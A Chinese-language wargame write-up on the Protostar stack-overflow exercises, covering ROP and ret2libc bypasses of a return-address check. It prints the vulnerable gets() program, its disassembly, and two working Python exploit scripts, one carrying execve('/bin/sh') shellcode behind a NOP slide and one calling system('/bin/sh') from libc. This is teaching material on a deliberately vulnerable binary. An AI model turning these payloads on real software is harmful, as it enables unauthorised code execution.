Protostar-栈溢出学习-ROP执行shellcode

By xia0

0x00 序

和前面的栈溢出系列,我们覆盖了返回地址,通过ret控制eip使其执行我们在栈上存放的shellcode。这次,我们做了一些栈上的限制,比如现在的操作体系都会有DSP,ASLR等保护。本文就借此来学习一些ROP的知识。

0x01 stack3

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{

  getpath();

}

0x02 思路&分析

整体上和前面的没太大区别,现在有个问题在于__builtin_return_address()会返回当前的返回地址值,然后后面ret & 0xbf000000) == 0xbf000000对其返回地址进行了限制–返回地址不能是0xbf为前缀,正好是栈的前缀。这样的话就不能像之前那样直接返回到栈中,也不能执行栈上的shellcode。

怎么绕过呢?

Ret2libc or ROP(return orientated programming)

0x03 ROP

一个巧妙的方法在于我们不直接返回到栈中执行shellcode,而是返回到原本的程序之中。这里我们返回到getpath()的ret指令处。在后面在存放shellcode,而再次执行ret时就会跳转到后面执行我们的shellcode。

getpath()汇编

Dump of assembler code for function getpath:
0x08048484 <getpath+0>:    push   ebp
0x08048485 <getpath+1>:    mov    ebp,esp
0x08048487 <getpath+3>:    sub    esp,0x68
0x0804848a <getpath+6>:    mov    eax,0x80485d0
0x0804848f <getpath+11>:    mov    DWORD PTR [esp],eax
0x08048492 <getpath+14>:    call   0x80483c0 <printf@plt>
0x08048497 <getpath+19>:    mov    eax,ds:0x8049720
0x0804849c <getpath+24>:    mov    DWORD PTR [esp],eax
0x0804849f <getpath+27>:    call   0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>:    lea    eax,[ebp-0x4c]
0x080484a7 <getpath+35>:    mov    DWORD PTR [esp],eax
0x080484aa <getpath+38>:    call   0x8048380 <gets@plt>
0x080484af <getpath+43>:    mov    eax,DWORD PTR [ebp+0x4]
0x080484b2 <getpath+46>:    mov    DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>:    mov    eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>:    and    eax,0xbf000000
0x080484bd <getpath+57>:    cmp    eax,0xbf000000
0x080484c2 <getpath+62>:    jne    0x80484e4 <getpath+96>
0x080484c4 <getpath+64>:    mov    eax,0x80485e4
0x080484c9 <getpath+69>:    mov    edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>:    mov    DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>:    mov    DWORD PTR [esp],eax
0x080484d3 <getpath+79>:    call   0x80483c0 <printf@plt>
0x080484d8 <getpath+84>:    mov    DWORD PTR [esp],0x1
0x080484df <getpath+91>:    call   0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>:    mov    eax,0x80485f0
0x080484e9 <getpath+101>:    lea    edx,[ebp-0x4c]
0x080484ec <getpath+104>:    mov    DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>:    mov    DWORD PTR [esp],eax
0x080484f3 <getpath+111>:    call   0x80483c0 <printf@plt>
0x080484f8 <getpath+116>:    leave  
0x080484f9 <getpath+117>:    ret

调试&hack

测试返回地址等在这里就省略了,还不明白的可以看前面的系列。这里先看下python脚本。

import struct
padding =  'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT'
ret  = struct.pack("I", 0x080484f9)
eip_after_ret = struct.pack("I", 0xbffff78c+40)
nopslide = '\x90'*100
payload = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'
print padding+ret+eip_after_ret+nopslide+payload

这里的ret返回地址我们改为了0x080484f9正是ret指令处的地址。eip_after_ret为真正在栈上跳转的执行地址,当然我们也加入了nopslide。

here we go!

3-0

成功运行bash!

0x04 Ret2libc

这次我们通过返回到libc里面的函数达到执行shell的目的。这里采用system("/bin/sh")。所以我们需要跳转到system函数,但同时要满足x86传参方式即要先将字符串"/bin/sh"压入栈中。下面我们就来做两件事:

*  1,找到system在内存中的地址
*  2,找到字符串`"/bin/sh"`在内存中的地址

system & "/bin/sh"

3-1
先找到/lib/libc-2.11.2.so在内存中的位置
3-2
然后找到字符串"/bin/sh"/lib/libc-2.11.2.so中的偏移
3-3
验证:所以"/bin/sh"0xb7fb63bf
3-4

hack

编写对应的Python脚本

import struct
padding =  'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT'
system  = struct.pack("I",0xb7ecffb0) #system地址

ret_after_system = 'AAAA' #返回地址,不重要
bin_sh = struct.pack("I", 0xb7fb63bf) #参数/bin/sh地址
print padding+system+ret_after_system+bin_sh

测试

3-5

cooooool! make it!

0x05 小结

学习到现在,一句话总结就是:你知道得越多才知道知道得越少。